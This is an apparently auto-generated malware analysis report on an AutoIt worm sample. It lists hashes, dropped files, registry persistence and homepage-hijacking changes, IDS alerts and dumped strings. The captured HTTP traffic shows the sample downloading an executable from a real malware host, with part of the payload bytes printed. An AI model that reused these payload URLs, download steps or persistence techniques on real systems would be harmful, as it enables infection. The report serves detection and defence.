Worm.Win32.AutoItGen_2e19d53e50

by malwarelabrobot on February 8th, 2018 in Malware Descriptions.

Gen:Variant.Strictor.139390 (BitDefender), Trojan.Win32.Generic!BT (VIPRE), Trojan.DownLoader25.56281 (DrWeb), Gen:Variant.Strictor.139390 (B) (Emsisoft), Artemis!2E19D53E50A1 (McAfee), Trojan.Gen.6 (Symantec), Win32:Malware-gen (AVG), Win32:Malware-gen (Avast), TROJ_STRICTOR_GI0801B3.UVPM (TrendMicro), Worm.Win32.AutoIt.FD, mzpefinder_pcap_file.YR, WormAutoItGen.YR (Lavasoft MAS)
Behaviour: Trojan, Worm, Malware


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Requires JavaScript enabled!

Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: 2e19d53e50a19f9356aa6585a014432e
SHA1: e8eb3b539c764bb5c876dcca842963dfa0828da1
SHA256: 0d125a16703c47e796af9f00d7d3fca2913b43ff9fdfce9ce51f8693684dcd6f
SSDeep: 24576:6FQeYL KKEPS1bvKE2JjacBUCP577jfYVOTxcFB4KiAN:6FQWKKEP2biE2JjacBH73gVYxAzv
Size: 1057201 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2012-04-10 03:11:21
Analyzed on: Windows7 SP1 32-bit


Summary:

Worm. A program that is primarily replicating on networks or removable drives.

Payload

No specific payload has been found.

Process activity

The Worm creates the following process(es):

%original file name%.exe:2224
rundll32.exe:1828
Lock.exe:3644

The Worm injects its code into the following process(es):
No processes have been created.

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process %original file name%.exe:2224 makes changes in the file system.
The Worm creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8D93UTC3\ver_lock[1].txt (358 bytes)
C:\up.bat (640 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JYNOWECL\32-00095[1].exe (493641 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\autB443.tmp (3465 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\2e19d53e50a19f9356aa6585a014432e.lnk (615 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ver.txt (376 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\autB454.tmp (196 bytes)
%Program Files%\Home\srvany.exe (8 bytes)
C:\update.exe (132657 bytes)

The Worm deletes the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\autB454.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\autB443.tmp (0 bytes)

The process rundll32.exe:1828 makes changes in the file system.
The Worm creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\EMQLHK1Z\desktop.ini (67 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\desktop.ini (67 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\I7ZT4QCS\desktop.ini (67 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\3MTT4SGT\desktop.ini (67 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\KWPG8Z2M\desktop.ini (67 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\index.dat (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\desktop.ini (67 bytes)

The process Lock.exe:3644 makes changes in the file system.
The Worm creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\times.ini (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8D93UTC3\ver_lock[1].txt (358 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\autC95B.tmp (1960 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\4ZZNMJGQ\tj[1].htm (39 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\autC95A.tmp (40 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\lock.lnk (5652 bytes)
%Program Files%\Common Files\IE11.exe (1137 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\softstat.tmp (39 bytes)
%Program Files%\360\360Safe\deepscan\speedmem2.hg (7337 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ver.txt (376 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\4ZZNMJGQ\ver_lock[1].txt (358 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Internet Explorer.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\autDAE6.tmp (3465 bytes)
C:\Users\Public\Desktop\Google Chrome.lnk (2 bytes)
%Program Files%\Common Files\ie.ini (40 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk (2 bytes)

The Worm deletes the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8D93UTC3\ver_lock[1].txt (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\autC95B.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\autC95A.tmp (0 bytes)
C:\up.bat (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ver.txt (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\4ZZNMJGQ\ver_lock[1].txt (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\autDAE6.tmp (0 bytes)

Registry activity

The process %original file name%.exe:2224 makes changes in the system registry.
The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Tracing\2e19d53e50a19f9356aa6585a014432e_RASMANCS]
"FileTracingMask" = "4294901760"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
"UNCAsIntranet" = "0"

[HKLM\System\CurrentControlSet\services\HomeLock]
"ObjectName" = "LocalSystem"

[HKLM\SOFTWARE\2345PCSafe]]
"Value4" = "kityeah 2155"

[HKLM\SOFTWARE\Microsoft\Tracing\2e19d53e50a19f9356aa6585a014432e_RASMANCS]
"FileDirectory" = "%windir%\tracing"

[HKLM\SOFTWARE\Microsoft\Tracing\2e19d53e50a19f9356aa6585a014432e_RASAPI32]
"EnableConsoleTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\2e19d53e50a19f9356aa6585a014432e_RASMANCS]
"ConsoleTracingMask" = "4294901760"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"GlobalUserOffline" = "0"

[HKLM\SOFTWARE\2345Movie]]
"Value4" = "kityeah 2155"

[HKLM\SOFTWARE\2345SoftMgr]
"Value7" = "http://www.2345.com/?kityeah 2155"

[HKLM\System\CurrentControlSet\services\HomeLock\Parameters]
"Application" = "C:\%original file name%.exe"

[HKLM\System\CurrentControlSet\services\HomeLock]
"DisplayName" = "HomeLock"
"Description" = "主页保护程序"
"ErrorControl" = "1"

[HKLM\SOFTWARE\Microsoft\Tracing\2e19d53e50a19f9356aa6585a014432e_RASAPI32]
"ConsoleTracingMask" = "4294901760"

[HKCR\.ex]
"(Default)" = "exefile"

[HKLM\SOFTWARE\Microsoft\Tracing\2e19d53e50a19f9356aa6585a014432e_RASMANCS]
"MaxFileSize" = "1048576"

[HKLM\SOFTWARE\2345Pic]
"Value4" = "kityeah 2155"

[HKLM\SOFTWARE\Microsoft\Tracing\2e19d53e50a19f9356aa6585a014432e_RASAPI32]
"MaxFileSize" = "1048576"

[HKLM\System\CurrentControlSet\services\HomeLock]
"Type" = "272"
"Start" = "2"

[HKCR\.ex]
"Content Type" = "application/x-msdownload"

[HKLM\System\CurrentControlSet\services\HomeLock]
"WOW64" = "1"

[HKLM\SOFTWARE\2345Explorer]
"Value4" = "kityeah 2155"

[HKLM\SOFTWARE\HaoZip]
"Value4" = "kityeah 2155"

[HKLM\SOFTWARE\Microsoft\Tracing\2e19d53e50a19f9356aa6585a014432e_RASAPI32]
"FileDirectory" = "%windir%\tracing"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 41 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Tracing\2e19d53e50a19f9356aa6585a014432e_RASAPI32]
"EnableFileTracing" = "0"
"FileTracingMask" = "4294901760"

[HKLM\System\CurrentControlSet\services\HomeLock\Parameters]
"AppParameters" = ""

[HKLM\SOFTWARE\2345Pinyin]]
"Value4" = "kityeah 2155"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Associations]
"ModRiskFileTypes" = ".exe;.ex;.vbs"

[HKLM\System\CurrentControlSet\services\HomeLock\Parameters]
"AppDirectory" = "C:\"

[HKLM\System\CurrentControlSet\services\HomeLock]
"ImagePath" = "%Program Files%\Home\srvany.exe"

[HKLM\SOFTWARE\Microsoft\Tracing\2e19d53e50a19f9356aa6585a014432e_RASMANCS]
"EnableConsoleTracing" = "0"
"EnableFileTracing" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

To automatically run itself each time Windows is booted, the Worm adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"2e19d53e50a19f9356aa6585a014432e" = "C:\%original file name%.exe"

The Worm deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"AutoConfigURL"
"ProxyOverride"

The Worm disables automatic startup of the application by deleting the following autorun value:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"2e19d53e50a19f9356aa6585a014432e"

The process Lock.exe:3644 makes changes in the system registry.
The Worm creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
"UNCAsIntranet" = "0"

[HKCU\Software\Classes\Local Settings\MuiCache\66\52C64B7E\@%SystemRoot%\system32]
"unregmp2.exe,-155" = "Play digital media including music, videos, CDs, and DVDs."

[HKLM\System\CurrentControlSet\services\HomeLock]
"ObjectName" = "LocalSystem"

[HKLM\SOFTWARE\2345PCSafe]]
"Value4" = "kityeah 2155"

[HKLM\SOFTWARE\Microsoft\Tracing\Lock_RASAPI32]
"EnableConsoleTracing" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"GlobalUserOffline" = "0"

[HKLM\SOFTWARE\2345Movie]]
"Value4" = "kityeah 2155"

[HKLM\SOFTWARE\2345SoftMgr]
"Value7" = "https://www.2345.com/?kityeah 2155"

[HKLM\System\CurrentControlSet\services\HomeLock\Parameters]
"Application" = "C:\Lock.exe"

[HKLM\System\CurrentControlSet\services\HomeLock]
"DisplayName" = "HomeLock"
"Description" = "主页保护程序"
"ErrorControl" = "1"

[HKLM\SOFTWARE\Microsoft\Tracing\Lock_RASAPI32]
"FileDirectory" = "%windir%\tracing"

[HKCR\.ex]
"(Default)" = "exefile"

[HKLM\SOFTWARE\Microsoft\Tracing\Lock_RASAPI32]
"MaxFileSize" = "1048576"

[HKLM\SOFTWARE\Microsoft\Tracing\Lock_RASMANCS]
"MaxFileSize" = "1048576"

[HKLM\SOFTWARE\2345Pic]
"Value4" = "kityeah 2155"

[HKLM\SOFTWARE\Microsoft\Tracing\Lock_RASAPI32]
"FileTracingMask" = "4294901760"

[HKLM\System\CurrentControlSet\services\HomeLock]
"Type" = "272"
"Start" = "2"

[HKCU\Software\Classes\Local Settings\MuiCache\66\52C64B7E]
"LanguageList" = "en-US, en"

[HKLM\SOFTWARE\Microsoft\Tracing\Lock_RASMANCS]
"FileTracingMask" = "4294901760"

[HKCR\.ex]
"Content Type" = "application/x-msdownload"

[HKLM\System\CurrentControlSet\services\HomeLock]
"WOW64" = "1"

[HKLM\SOFTWARE\Microsoft\Tracing\Lock_RASAPI32]
"ConsoleTracingMask" = "4294901760"

[HKLM\SOFTWARE\2345Explorer]
"Value4" = "kityeah 2155"

[HKLM\SOFTWARE\HaoZip]
"Value4" = "kityeah 2155"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 43 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Tracing\Lock_RASAPI32]
"EnableFileTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\Lock_RASMANCS]
"EnableFileTracing" = "0"

[HKLM\System\CurrentControlSet\services\HomeLock\Parameters]
"AppParameters" = ""

[HKLM\SOFTWARE\Microsoft\Tracing\Lock_RASMANCS]
"ConsoleTracingMask" = "4294901760"
"EnableConsoleTracing" = "0"

[HKLM\SOFTWARE\2345Pinyin]]
"Value4" = "kityeah 2155"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Associations]
"ModRiskFileTypes" = ".exe;.ex;.vbs"

[HKLM\System\CurrentControlSet\services\HomeLock\Parameters]
"AppDirectory" = "C:\"

[HKLM\System\CurrentControlSet\services\HomeLock]
"ImagePath" = "%Program Files%\Home\srvany.exe"

[HKLM\SOFTWARE\Microsoft\Tracing\Lock_RASMANCS]
"FileDirectory" = "%windir%\tracing"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

To automatically run itself each time Windows is booted, the Worm adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Lock" = "C:\Lock.exe"

The Worm deletes the following registry key(s):

[HKLM\System\CurrentControlSet\services\HomeLock]
[HKLM\System\CurrentControlSet\services\HomeLock\Parameters]

The Worm deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"AutoConfigURL"

The Worm disables automatic startup of the application by deleting the following autorun value:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"lock"

Dropped PE files

MD5 File path
acf0e457727b20a052aa59fda4af028a c:\Lock.exe
4635935fc972c582632bf45c26bfcb0e c:\Program Files\Home\srvany.exe
acf0e457727b20a052aa59fda4af028a c:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JYNOWECL\32-00095[1].exe
acf0e457727b20a052aa59fda4af028a c:\update.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

Company Name:
Product Name:
Product Version:
Legal Copyright: UUV8
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 0.0.0.92
File Description: ??????
Comments: ??????,??????
Language: English (United States)

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text 4096 548215 548352 4.65125 d44a2d514024b09e6cc08ea5d77d8ce0
.rdata 552960 105518 105984 4.10575 b748bf99a668370f56c29233977b9b45
.data 659456 108632 26624 1.49446 25a928efff72ddeccbf2e0cc0d7fad03
.rsrc 770048 32812 33280 3.88001 37f89f9e3ccb69ee96f0e3170d990176

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL IP
hxxp://update.link66.cn/ver_lock.txt 117.18.9.152
hxxp://update.link66.cn/32-00095.exe 117.18.9.152


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET POLICY Autoit Windows Automation tool User-Agent in HTTP Request - Possibly Hostile
ET TROJAN AutoIt Downloading EXE - Likely Malicious
ET POLICY PE EXE or DLL Windows file download HTTP
ET MALWARE Possible Windows executable sent when remote host claims to send a Text File
ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected

Traffic

GET /ver_lock.txt HTTP/1.1
User-Agent: AutoIt
Host: update.link66.cn
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Wed, 07 Feb 2018 20:32:19 GMT
Server: Apache/2
Last-Modified: Mon, 13 Nov 2017 13:50:47 GMT
ETag: "400027-166-55ddd8eb5fbc0"
Accept-Ranges: bytes
Content-Length: 358
Vary: Accept-Encoding,User-Agent
Content-Type: text/plain
X-Pad: avoid browser bug
[Update].Version=00095.Setup=hXXp://update.link66.cn/32-00095.exe.Loca
lFile=.FileSize=1169785.FileTime=20171113214919.[Update32].Version=000
95.Setup=hXXp://update.link66.cn/32-00095.exe.LocalFile=.FileSize=1169
785.FileTime=20171113214919.[Update64].Version=00095.Setup=hXXp://upda
te.link66.cn/64-00095.exe.LocalFile=.FileSize=1266553.FileTime=2017111
3214921.....


GET /ver_lock.txt HTTP/1.1


User-Agent: AutoIt
Host: update.link66.cn
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Wed, 07 Feb 2018 20:32:19 GMT
Server: Apache/2
Last-Modified: Mon, 13 Nov 2017 13:50:47 GMT
ETag: "400027-166-55ddd8eb5fbc0"
Accept-Ranges: bytes
Content-Length: 358
Vary: Accept-Encoding,User-Agent
Content-Type: text/plain
X-Pad: avoid browser bug
[Update].Version=00095.Setup=hXXp://update.link66.cn/32-00095.exe.Loca
lFile=.FileSize=1169785.FileTime=20171113214919.[Update32].Version=000
95.Setup=hXXp://update.link66.cn/32-00095.exe.LocalFile=.FileSize=1169
785.FileTime=20171113214919.[Update64].Version=00095.Setup=hXXp://upda
te.link66.cn/..



GET /ver_lock.txt HTTP/1.1
User-Agent: AutoIt
Host: update.link66.cn
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Wed, 07 Feb 2018 20:32:10 GMT
Server: Apache/2
Last-Modified: Mon, 13 Nov 2017 13:50:47 GMT
ETag: "400027-166-55ddd8eb5fbc0"
Accept-Ranges: bytes
Content-Length: 358
Vary: Accept-Encoding,User-Agent
Content-Type: text/plain
X-Pad: avoid browser bug
[Update].Version=00095.Setup=hXXp://update.link66.cn/32-00095.exe.Loca
lFile=.FileSize=1169785.FileTime=20171113214919.[Update32].Version=000
95.Setup=hXXp://update.link66.cn/32-00095.exe.LocalFile=.FileSize=1169
785.FileTime=20171113214919.[Update64].Version=00095.Setup=hXXp://upda
te.link66.cn/64-00095.exe.LocalFile=.FileSize=1266553.FileTime=2017111
3214921.....


GET /32-00095.exe HTTP/1.1


User-Agent: AutoIt
Host: update.link66.cn
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Wed, 07 Feb 2018 20:32:10 GMT
Server: Apache/2
Last-Modified: Mon, 13 Nov 2017 13:49:19 GMT
ETag: "4002d4-11d979-55ddd897735c0"
Accept-Ranges: bytes
Content-Length: 1169785
Content-Type: application/x-msdownload
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......9jUt}.;'}.;'
}.;'.E.'..;'f..'..;'f..'H.;'ts.'t.;'ts.'\.;'}.:'j.;'f..'7.;'f..'J.;'f.
.'|.;'}..'|.;'f..'|.;'Rich}.;'........................PE..L....z.O....
......#......^...........v.......p....@..........................P....
...*........@.......@.....................$...T.......,...............
.............................................................p..`.....
.......................text...w].......^.................. ..`.rdata..
.....p.......b..............@..@.data...X........h..................@.
...rsrc...,............h..............@..@............................
......................................................................
......................................................................
......................................................................
......................................................................
.......................................................F..............
.................F........................v V3...$.....G....Q.....F...
;w.r.^.G........VW.y......K.........K.........K.....K.,.I.........K.P.
........|.K...|.K.(.I..........K.Q.........`.K......_.L.K.^...........
.......K.........V.|.K..X....=..K..^.................=L.K....o......U.
.3.......8...J.tNh....P..\...R...J........`......J......X...Qj...X....
.....\.....`..........tH...].............F$S3.;........F,.^$;........^
,.^0.^4.^8.^.[....U...E..M..U.W.}.PQR....._]......U.....S.].V;...J
<<< skipped >>>

The Worm connects to the servers at the folowing location(s):

SearchProtocolHost.exe_1476:

.text
`.data
.rsrc
@.reloc
ADVAPI32.dll
ntdll.DLL
KERNEL32.dll
msvcrt.dll
USER32.dll
ole32.dll
OLEAUT32.dll
TQUERY.DLL
MSSHooks.dll
IMM32.dll
SHLWAPI.dll
SrchCollatorCatalogInfo
SrchDSSLogin
SrchDSSPortManager
SrchPHHttp
SrchIndexerQuery
SrchIndexerProperties
SrchIndexerPlugin
SrchIndexerClient
SrchIndexerSchema
Msidle.dll
Failed to get REGKEY_FLTRDMN_MS_TO_IDLE, using default
pfps->psProperty.ulKind is LPWSTR but psProperty.lpwstr is NULL or empty
d:\win7sp1_gdr\enduser\mssearch2\common\utils\crchash.cxx
d:\win7sp1_gdr\enduser\mssearch2\search\search\gather\fltrdmn\fltrdaemon.cxx
d:\win7sp1_gdr\enduser\mssearch2\search\common\include\secutil.hxx
d:\win7sp1_gdr\enduser\mssearch2\common\tracer\tracerhelpers.h
d:\win7sp1_gdr\enduser\mssearch2\common\tracer\mutex.cpp
d:\win7sp1_gdr\enduser\mssearch2\common\include\srchxcpt.hxx
RegDeleteKeyW
RegDeleteKeyExW
8%uiP
Invalid parameter passed to C runtime function.
d:\win7sp1_gdr\enduser\mssearch2\common\tracer\tracersecutil.h
d:\win7sp1_gdr\enduser\mssearch2\common\tracer\tracmain.cpp
-d-d-d-d-d-d-d-%d
d:\win7sp1_gdr\enduser\mssearch2\common\tracer\tracmain.h
</MSG></TRC>
<MSG>
<ERR> 0xx=
<LOC> %s(%d) </LOC>
tid="0x%x"
pid="0x%x"
tagname="%s"
tagid="0x%x"
el="0x%x"
time="d/d/d d:d:d.d"
logname="%s"
d:\win7sp1_gdr\enduser\mssearch2\common\tracer\sysimprs.cxx
SHELL32.dll
PROPSYS.dll
ntdll.dll
RegCloseKey
RegCreateKeyExW
RegOpenKeyExW
RegQueryInfoKeyW
RegEnumKeyExW
ReportEventW
_amsg_exit
MsgWaitForMultipleObjects
SearchProtocolHost.pdb
2 2(20282|2
4%5S5
Software\Microsoft\Windows Search
https
kernel32.dll
msTracer.dll
msfte.dll
lX-X-X-XX-XXXXXX
SOFTWARE\Microsoft\Windows Search
tquery.dll
%s\%s
HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHINE
HKEY_USERS
HKEY_PERFORMANCE_DATA
HKEY_DYN_DATA
HKEY_CURRENT_CONFIG
Windows Search Service
%sr-BA-Cyrl
<Exception><HR>0xx</HR><eip>%p</eip><module>%S</module><line>%d</line></Exception>
advapi32.dll
WAPI-MS-Win-Core-LocalRegistry-L1-1-0.dll
winhttp.dll
Software\Microsoft\Windows Search\Tracing
Software\Microsoft\Windows Search\Tracing\EventThrottleLastReported
Software\Microsoft\Windows Search\Tracing\EventThrottleState
<MSG>
<LOC> %S(%d) </LOC>
tagname="%S"
logname="%S"
Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}
.\%s.mui
.\%s\%s.mui
%s\%s.mui
%s\%s\%s.mui
Microsoft Windows Search Protocol Host
7.00.7601.17610 (win7sp1_gdr.110503-1502)
SearchProtocolHost.exe
Windows
7.00.7601.17610

SearchFilterHost.exe_3672:

.text
`.data
.rsrc
@.reloc
ADVAPI32.dll
ntdll.DLL
KERNEL32.dll
msvcrt.dll
USER32.dll
ole32.dll
OLEAUT32.dll
TQUERY.DLL
IMM32.dll
MSSHooks.dll
mscoree.dll
SHLWAPI.dll
d:\win7sp1_gdr\enduser\mssearch2\search\search\gather\fltrhost\bufstm.cxx
d:\win7sp1_gdr\enduser\mssearch2\common\tracer\mutex.cpp
RegDeleteKeyW
RegDeleteKeyExW
8%uiP
d:\win7sp1_gdr\enduser\mssearch2\common\include\srchxcpt.hxx
Invalid parameter passed to C runtime function.
d:\win7sp1_gdr\enduser\mssearch2\common\tracer\tracersecutil.h
d:\win7sp1_gdr\enduser\mssearch2\common\tracer\tracmain.cpp
-d-d-d-d-d-d-d-%d
d:\win7sp1_gdr\enduser\mssearch2\common\tracer\tracmain.h
d:\win7sp1_gdr\enduser\mssearch2\common\tracer\sysimprs.cxx
RegCloseKey
RegCreateKeyExW
RegOpenKeyExW
RegQueryInfoKeyW
RegEnumKeyExW
ReportEventW
_amsg_exit
SearchFilterHost.pdb
version="5.1.0.0"
name="Microsoft.Windows.Search.MSSFH"
<requestedExecutionLevel
3 3(30383|3
kernel32.dll
Software\Microsoft\Windows Search
SOFTWARE\Microsoft\Windows Search
HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHINE
HKEY_USERS
HKEY_PERFORMANCE_DATA
HKEY_DYN_DATA
HKEY_CURRENT_CONFIG
Windows Search Service
tquery.dll
advapi32.dll
API-MS-Win-Core-LocalRegistry-L1-1-0.dll
<Exception><HR>0xx</HR><eip>%p</eip><module>%S</module><line>%d</line></Exception>
Software\Microsoft\Windows Search\Tracing
Software\Microsoft\Windows Search\Tracing\EventThrottleLastReported
Software\Microsoft\Windows Search\Tracing\EventThrottleState
<MSG>
<ERR> 0xx=
<LOC> %S(%d) </LOC>
tid="0x%x"
pid="0x%x"
tagname="%S"
tagid="0x%x"
el="0x%x"
time="d/d/d d:d:d.d"
logname="%S"
</MSG></TRC>
Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}
.\%s.mui
.\%s\%s.mui
%s\%s.mui
%s\%s\%s.mui
%s\%s
winhttp.dll
Microsoft Windows Search Filter Host
7.00.7601.17610 (win7sp1_gdr.110503-1502)
SearchFilterHost.exe
Windows
7.00.7601.17610

conhost.exe_3744:

.text
`.data
.rsrc
@.reloc
GDI32.dll
USER32.dll
msvcrt.dll
ntdll.dll
API-MS-Win-Core-LocalRegistry-L1-1-0.dll
KERNEL32.dll
IMM32.dll
ole32.dll
OLEAUT32.dll
Bv.SCv
PutInputInBuffer: EventsWritten != 1 (0x%x), 1 expected
Invalid message 0x%x
InitExtendedEditKeys: Unsupported version number(%d)
Console init failed with status 0x%x
CreateWindowsWindow failed with status 0x%x, gle = 0x%x
InitWindowsStuff failed with status 0x%x (gle = 0x%x)
InitSideBySide failed create an activation context. Error: %d
GetModuleFileNameW requires more than ScratchBufferSize(%d) - 1.
GetModuleFileNameW failed %d.
Invalid EventType: 0x%x
Dup handle failed for %d of %d (Status = 0x%x)
Couldn't grow input buffer, Status == 0x%x
InitializeScrollBuffer failed, Status = 0x%x
CreateWindow failed with gle = 0x%x
Opening Font file failed with error 0x%x
\ega.cpi
NtReplyWaitReceivePort failed with Status 0x%x
ConsoleOpenWaitEvent failed with Status 0x%x
NtCreatePort failed with Status 0x%x
GetCharWidth32 failed with error 0x%x
GetTextMetricsW failed with error 0x%x
GetSystemEUDCRangeW: RegOpenKeyExW(%ws) failed, error = 0x%x
RtlStringCchCopy failed with Status 0x%x
Cannot allocate 0n%d bytes
|%SWj
O.fBf;
ReCreateDbcsScreenBuffer failed. Restoring to CP=%d
Invalid Parameter: 0x%x, 0x%x, 0x%x
ConsoleKeyInfo buffer is full
Invalid screen buffer size (0x%x, 0x%x)
SetROMFontCodePage: failed to memory allocation %d bytes
FONT.NT
Failed to set font image. wc=x, sz=(%x,%x)
Failed to set font image. wc=x sz=(%x, %x).
Failed to set font image. wc=x sz=(%x,%x)
FullscreenControlSetColors failed - Status = 0x%x
FullscreenControlSetPalette failed - Status = 0x%x
WriteCharsFromInput failed 0x%x
WriteCharsFromInput failed %x
RtlStringCchCopyW failed with Status 0x%x
CreateFontCache failed with Status 0x%x
FTPh
\>.Sj
GetKeyboardLayout
MapVirtualKeyW
VkKeyScanW
GetKeyboardState
UnhookWindowsHookEx
SetWindowsHookExW
GetKeyState
ActivateKeyboardLayout
GetKeyboardLayoutNameA
GetKeyboardLayoutNameW
_amsg_exit
_acmdln
ShipAssert
NtReplyWaitReceivePort
NtCreatePort
NtEnumerateValueKey
NtQueryValueKey
NtOpenKey
NtAcceptConnectPort
NtReplyPort
SetProcessShutdownParameters
GetCPInfo
conhost.pdb
%$%a%b%V%U%c%Q%W%]%\%[%
%<%^%_%Z%T%i%f%`%P%l%g%h%d%e%Y%X%R%S%k%j%
version="5.1.0.0"
name="Microsoft.Windows.ConsoleHost"
<requestedExecutionLevel
name="Microsoft.Windows.ConsoleHost.SystemDefault"
publicKeyToken="6595b64144ccf1df"
